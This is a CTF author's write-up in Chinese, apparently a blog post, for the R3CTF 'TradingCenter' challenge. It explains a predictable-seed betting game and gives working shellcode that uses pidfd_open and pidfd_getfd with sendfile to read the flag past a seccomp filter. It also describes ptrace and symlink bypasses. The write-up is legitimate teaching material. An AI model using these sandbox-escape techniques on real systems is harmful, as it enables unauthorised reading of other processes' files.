R3CTF-TradingCenter 出题思路

T1d 2024-7-5 619 7/5

本意只是一个小trick,但是限制不够完全导致被好几个师傅非预期了,最后四个解,师傅们实在太强了😭😭😭

思路

先用token生成一个独一无二文件夹,并将生成的flag和/dev/urandom的内容读入新的文件中提供随机数,但是由于随机数文件只会在每次连接时更新,而在生成随机数的时候每次都会去读取新的随机数种子:

void play_game()
{
    int seed;
    int fd = open("/urandom", 0);
    while (1)
    {
        read(fd, &seed, 4);
        if (seed >> 28 != 0)
            break;
    }
    close(fd);
    srand(seed);
    int randnum = rand() % 4;
    puts("Number in my heart(0-3):🙂");
    int guessnum = 0;
    scanf("%d", &guessnum);
    if (guessnum > 3 || guessnum < 0)
    {
        puts("Bad boy!🫠");
    }
    else if (guessnum == randnum)
    {
        puts("So clever~🤪");
        mymoney = mymoney * 2;
        writescore();
    }
    else
    {
        puts("NONONO!!!💩");
        mymoney = mymoney >> 1;
        writescore();
    }
}

因此其实对于每一次连接;生成的随机数都是固定不变的,刚刚好有三次尝试机会才会把钱清空,相当于直接尝试出正确的随机数后直接连续发送该随机数就能实现将money值达到预期值触发后门。

后门部分是一个简单的shellcode,清空了所有寄存器并限制了所有的open相关的系统调用,只允许使用0x20字节的shellcode来实现orw。

这里解题的关键是我们需要知道sys_pidfd_opensys_pidfd_getfd这两个系统调用:

NAME
pidfd_open - obtain a file descriptor that refers to a process

SYNOPSIS
#include <sys/types.h>

int pidfd_open(pid_t pid, unsigned int flags);

DESCRIPTION
The pidfd_open() system call creates a file descriptor that refers to the process whose PID is specified in pid. The file descriptor is returned as the function result; the close-on-exec
flag is set on the file descriptor.

The flags argument is reserved for future use; currently, this argument must be specified as 0.

RETURN VALUE
On success, pidfd_open() returns a file descriptor (a nonnegative integer). On error, -1 is returned and errno is set to indicate the cause of the error.

NAME
pidfd_getfd - obtain a duplicate of another process's file descriptor

SYNOPSIS
int pidfd_getfd(int pidfd, int targetfd, unsigned int flags);

DESCRIPTION
The pidfd_getfd() system call allocates a new file descriptor in the calling process. This new file descriptor is a duplicate of an existing file descriptor, targetfd, in the process re‐
ferred to by the PID file descriptor pidfd.

The duplicate file descriptor refers to the same open file description (see open(2)) as the original file descriptor in the process referred to by pidfd. The two file descriptors thus
share file status flags and file offset. Furthermore, operations on the underlying file object (for example, assigning an address to a socket object using bind(2)) can equally be performed
via the duplicate file descriptor.

The close-on-exec flag (FD_CLOEXEC; see fcntl(2)) is set on the file descriptor returned by pidfd_getfd().

The flags argument is reserved for future use. Currently, it must be specified as 0.

Permission to duplicate another process's file descriptor is governed by a ptrace access mode PTRACE_MODE_ATTACH_REALCREDS check (see ptrace(2)).

RETURN VALUE
On success, pidfd_getfd() returns a file descriptor (a nonnegative integer). On error, -1 is returned and errno is set to indicate the cause of the error.

我们可以看到,这两个系统调用结合可以实现跨进程读取文件的效果,只需要知道另一个进程的进程pid以及需要读取的文件的文件描述符fd是多少,因此我构造了一个进程来实现这样一个文件管理器并将他的结果输出到help文件中:

#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string.h>​_
#include <unistd.h>
#include <fcntl.h>

#define BUFFER_SIZE 1024

int main() {
    int process_id = getpid();
    printf("File Manager(ID: %d)\n", process_id);

    const char *dirpath = "./myfiles";
    DIR *dir = opendir(dirpath);
    struct dirent *entry;
    int fd;
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_type == 8) {
            char filepath[4096];
            snprintf(filepath, sizeof(filepath), "%s/%s", dirpath, entry->d_name);
            fd = open(filepath, 0);
            printf("%d: %s\n", fd, entry->d_name);
        }
    }
    closedir(dir);
    fflush(stdout);

    sleep(60);
    
    return 0;
}

这样就可以直接通过这两个系统调用结合sendfile来读取文件即可:

shellcode = asm(f"""
                 mov di, {pid}
                 mov ax, 0x1b2
                 syscall
                 mov edi, eax
                 mov sil, 6
                 mov ax, 0x1b6
                 syscall
                 xchg eax, esi
                 mov dil, 1
                 xchg r10d, r11d
                 mov al, 0x28
                 syscall
                 """)

非预期

本意是选手看见open被禁用后去找还有什么open可以用就会找到这个:

434	common	pidfd_open		sys_pidfd_open
435	common	clone3			sys_clone3
436	common	close_range		sys_close_range
437	common	openat2			sys_openat2
438	common	pidfd_getfd		sys_pidfd_getfd

然后就能找到现成的poc:https://zhuanlan.zhihu.com/p/672314758

但是由于这两个系统调用要求docker开启--cap-add=SYS_PTRACE才可以使用,而我在沙盒中忘了禁用ptrace系统调用,因此有师傅直接利用未清空的xmm寄存器获得了可写的地址并使用ptrace系统调用绕过了我的限制(太恐怖了🥹🥹🥹🥹)

还有一位师傅的非预期的方式是,由于我们在读取help文件时会打印出help文件中的内容并打印出flag的名字,同时他利用fs寄存器获得了ld地址,因此他直接将help文件删除并将flag文件链接到help文件,这样下一次读取help文件的时候就会读取flag文件并把flag打印出来,真是让人防不胜防啊🥲🥲🥲

小结

本意是给R3CTF出一个签到题供大家开心开心的🫠🫠🫠没想到有这么多师傅给我非了,下次一定完善。然后题目描述也没写的很清楚,导致有师傅没想到需要跨进程去读文件,这里给大伙磕一个呜呜呜🙇🙇🙇

 

- THE END -
Tag:

T1d

7月05日17:55

最后修改:2024年7月5日
1

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论